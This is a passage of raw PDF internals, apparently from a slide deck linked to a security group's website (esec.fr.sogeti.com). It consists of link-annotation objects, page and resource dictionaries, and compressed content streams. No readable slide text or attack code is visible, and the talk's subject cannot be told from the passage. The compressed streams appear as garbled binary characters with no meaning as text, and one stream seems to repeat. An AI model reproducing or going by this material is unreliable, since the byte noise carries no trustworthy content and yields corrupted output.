/GoTo /D (Navigation21) >> >> endobj 1005 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1006 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1007 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1008 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1009 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1010 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1011 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1012 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1013 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1014 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1015 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1016 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1017 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1018 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1019 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1020 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1021 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1022 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1023 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1024 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1025 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1026 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1027 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1028 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1029 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1030 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1031 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm8 169 0 R /Fm20 641 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1032 0 obj << /Type /Page /Contents 1033 0 R /Resources 1031 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 1003 0 R 1004 0 R 1005 0 R 1006 0 R 1007 0 R 1008 0 R 1009 0 R 1010 0 R 1011 0 R 1012 0 R 1013 0 R 1014 0 R 1015 0 R 1016 0 R 1017 0 R 1018 0 R 1019 0 R 1020 0 R 1021 0 R 1022 0 R 1023 0 R 1024 0 R 1025 0 R 1026 0 R 1027 0 R 1028 0 R 1029 0 R 997 0 R 998 0 R 999 0 R 1000 0 R 1001 0 R 1002 0 R 1030 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 1033 0 obj << /Length 1947 /Filter /FlateDecode >>stream xZKo7WT"CrȭAm U]wfؕRbIp >ÙIJSKo7)Je0^KNL1BX|p֋^uq 36A5iޞc6DT[x٘(IA{O8Z:4T$=DޞcTbB#MlDa6bo,vQAjU+$xcA@6fe!s+K MtIسR1 .Qt}_2)dLmA` t&A݉I[y3AsgfvT=N$o@} HO}$4:5M (oh=-bo϶ĭ! Nf.LZғ#Ã=(ob!+V#[Ѿ,ѾSVUٮRg%_doJ?lķ3L#PcS E\HFBc!4Hp!(m8A߱R£Di.JPW[36(iQVB5(3ԅZOE{*ip )(RJA՘ cU7(k`k VtmTo7g}jeVIE:\oUOc[JuMue_s"iZQU$$c,FMli1rd'%():tu=CcqMN[:@Z= Yn&9fsasz{:9XǰfaiX#}rCl5L9cGCea`D-}Q=KMH3niu=( /I7$=5KB}7YS ~zZ%4-h s7nOd&YJx vhi>LrQsn&rs#,bh2ZMH#:0 Qe,cb?9K@ù0vl繶l4i..ۦJDUns }NP4J;rW2 e^ _ o\]AcroOf Ezs-8_o<U endstream endobj 1034 0 obj << /D [ 1032 0 R /XYZ 334.488 1.245 null ] >> endobj 1035 0 obj << /D [ 1065 0 R /XYZ 334.488 1.245 null ] >> endobj 1036 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1037 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1038 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1039 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1040 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1041 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1042 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1043 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1044 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1045 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1046 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1047 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1048 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1049 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1050 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1051 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1052 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1053 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1054 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1055 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1056 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1057 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1058 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1059 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1060 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1061 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1062 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1063 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1064 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F63 525 0 R /F69 778 0 R /F66 559 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm18 561 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm8 169 0 R /Fm9 170 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1065 0 obj << /Type /Page /Contents 1066 0 R /Resources 1064 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 1036 0 R 1037 0 R 1038 0 R 1039 0 R 1040 0 R 1041 0 R 1042 0 R 1043 0 R 1044 0 R 1045 0 R 1046 0 R 1047 0 R 1048 0 R 1049 0 R 1050 0 R 1051 0 R 1052 0 R 1053 0 R 1054 0 R 1055 0 R 1056 0 R 1057 0 R 1058 0 R 1059 0 R 1060 0 R 1061 0 R 1062 0 R 1063 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 1066 0 obj << /Length 2910 /Filter /FlateDecode >>stream xr7]_1PU;C\éTʱ-۩ƖC45U!lo䈱)ŎV*r th<ȴUe*ٲ&/>Y DZZ%tut!.5B "Di袄I -4Ȝ~YZZ[x71t>;@֛ PqqRT} :6m(%@7'Y$f1Ig׈9}g\O$$fa>.,& ҤFy%@oSfCApgy('i|0fU܃UO0ɟ%P cҢ @RA- cmc|,CRxHve\Cdᕓ^3i#  T3hl-f 5 <5,Δ)I5FM0n"J6>T &0ZQMQ[ R@SJKMIJGd5(Sc'fIRƦRUգd{!эyp!rd΃zźw U9xY= YrpJ!vi vI q6rZyxz0,Q$pbxZgYW>Z戤ydanL~GUUHPd1N_.ߕYzr2}tݥJ,_B%@fep2Y?h.NE(v#`iKg #Tߨh$p&<#yW8=j&Q]pnćQ HS=s_:c {mxgm+wgm#NQ MT Pm1x<E]T/ .C5]Tw(3]TӇZQUvB#M+DlxAk/ZPcӀ{"/Oi`g|1Uq@?_V䖜vbRpWs$m9' K+Ӓ~~#Fq?_eA.\ioAd! Q.(/д:V 10..))#$aN pEXhh954 E#8$±H 4+i:_p_dy6(upye2֫|!:yX9~kPRZQ2ջU)S\ƢRmh=ZP1HeŻ'atIEvǣ(Z;Ę,(<)R f8^oMs5q&#q~tfiә <Ӵ\`>"sTU-@'MRKWM3b/lDVZc4[FTŚ{Ǜ+V M TGXu}sV kBTJDLǵ5]J/\GźViOzdF5vH4m]<:U ?QJwKU;,ݫ"]e5]B> endobj 1068 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 172.918 167.034 184.921 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1069 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 146.577 151.749 158.022 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1070 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 121.61 101.969 131.123 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1071 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 39.514 92.779 253.638 104.223 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1072 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 82.756 97.058 91.573 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1073 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 49.467 70.801 164.763 79.618 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1074 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1075 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1076 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1077 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1078 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1079 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1080 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1081 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1082 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1083 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1084 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1085 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1086 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 1087 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1088 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1089 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1090 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1091 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1092 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 1093 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 1094 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 1095 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 1096 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 1097 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 1098 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 1099 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation22) >> >> endobj 1100 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1101 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 1102 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F53 154 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm15 244 0 R /Fm20 641 0 R /Fm8 169 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 1103 0 obj << /Type /Page /Contents 1104 0 R /Resources 1102 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 922 0 R /Annots [ 1074 0 R 1075 0 R 1076 0 R 1077 0 R 1078 0 R 1079 0 R 1080 0 R 1081 0 R 1082 0 R 1083 0 R 1084 0 R 1085 0 R 1086 0 R 1087 0 R 1088 0 R 1089 0 R 1090 0 R 1091 0 R 1092 0 R 1093 0 R 1094 0 R 1095 0 R 1096 0 R 1097 0 R 1098 0 R 1099 0 R 1100 0 R 1068 0 R 1069 0 R 1070 0 R 1071 0 R 1072 0 R 1073 0 R 1101 0 R ] /AA << /O << /N /NextPage /S /Named >> >> >> endobj 1104 0 obj << /Length 1945 /Filter /FlateDecode >>stream xZKo7WT"CrȭAm U]wfؕRbIp >ÙIJSKo7)Je0^KNL1BX|p֋^uq 36A5iޞc6DT[x٘(IA{O8Z:4T$=DޞcTbB#MlDa6bo,vQAjU+$xcA@6fe!s+K MtIسR1 .Qt}_2)dLmA` t&A݉I[y3AsgfvT=N$o@} HO}$4:5M (oh=-bo϶ĭ! Nf.LZғ#Ã=(ob!+V#[Ѿ,ѾSVUٮRg%_doJ?lķ3L#PcS E\HFBc!4Hp!(m8A߱R£Di.JPW[36(iQVB5(3ԅZOE{*ip )(RJA՘ cU7(k`k VtmTo7g}jeVIE:\oUOc[JuMue_s"iZQU$$c,FMli1rd'%():tu=CcqMN[:@Z= Yn&9fsasz{:9XǰfaiX#}rCl5L9cGCea`D-}Q=KMH3niu=( /I7$=5KB}7YS ~zZ%4-h s7nOd&YJx vhi>LrQsn&rs#,bh2ZMH#:0 Qe,cb?9K@ù0vl繶l4i..ۦJxB: FyAY=C7雘tBGQzߑdQ pDϧ~ c3"2sB3k:cw-6{d qdˆGSXQ6AR{} M'`Z\mƸ^#tHw 8|55Է=Ib#pHh Q BR雡sL(!MF|CO j|h'Z}4fRn(_wn$?$}]-ZY"?LψxB55|4{W^P8v뷁1 0_O݅1uĆvxp"]HHAO3 ^x ~rhj4~0/)545 Mٍ2hHf Pp_;eMJ ovjփE1% @{Εe8zsegqX0q|#{ǚsJNSTSjSԝ4RE~_ Op3;Dg˺a=8}_H ̶|hgw\rUFJ> endobj 1106 0 obj << /D [ 1136 0 R /XYZ 334.488 1.245 null ] >> endobj 1107 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 1108 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1109 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 1110 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1111 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1112 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1113 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation25) >> >> endobj 1114 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation26) >> >> endobj 1115 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation23) >> >> endobj 1116 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation24) >> >> endobj 1117 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1118 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 1119 0 obj << /Type /Annot 